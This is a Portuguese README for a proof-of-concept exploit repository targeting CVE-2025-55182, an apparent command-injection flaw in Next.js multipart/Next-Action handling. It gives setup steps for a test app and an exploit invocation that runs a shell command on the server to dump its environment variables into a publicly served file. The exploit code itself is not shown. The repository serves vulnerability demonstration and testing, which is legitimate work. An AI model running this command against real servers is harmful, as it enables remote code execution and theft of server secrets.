
Exploração de prova de conceito para CVE-2025-55182 visando o tratamento multipart/Next-Action do Next.js com um script de demonstração de injeção de comando local.
Um pequeno repositório contendo:
test-app/: um aplicativo de teste Next.js 16 (React 19) usando o App Router.exploit.js: um script local de prova de conceito usado para demonstrar e testar o comportamento do servidor em relação ao tratamento de multipart/Next-Action. Destinado apenas a testes locais.rsc-test-app/
├─ README.md # You are here
├─ exploit.js # PoC script (local-only)
└─ test-app/ # Next.js application
├─ app/ # App Router pages
├─ public/ # Static assets (and env.txt when generated)
├─ package.json # Next 16 / React 19
└─ README.md # Default Next.js template README
cd test-app
npm install
npm run dev
# App will be available at http://localhost:3000
npm run build
npm start
Este script cria uma requisição multipart com um cabeçalho Next-Action para exercitar o comportamento do servidor. Por padrão, ele tenta executar um comando no processo do servidor que grava as variáveis de ambiente em public/env.txt (para demonstração em um ambiente local/dev).
Notas importantes:
public/ seja resolvido em test-app/public/.Em um terminal separado, certifique-se de que o aplicativo Next.js esteja rodando em http://localhost:3000:
cd test-app
npm run dev
Na raiz do repositório, execute o script:
node exploit.js http://localhost:3000 "sh -lc 'printenv > public/env.txt'"
Parâmetros:
http://localhost:3000.sh -lc 'printenv > public/env.txt'.Após a execução, verifique o arquivo gerado:
acessando
http://localhost:3000/env.txt
E aí estão as variáveis de ambiente do servidor.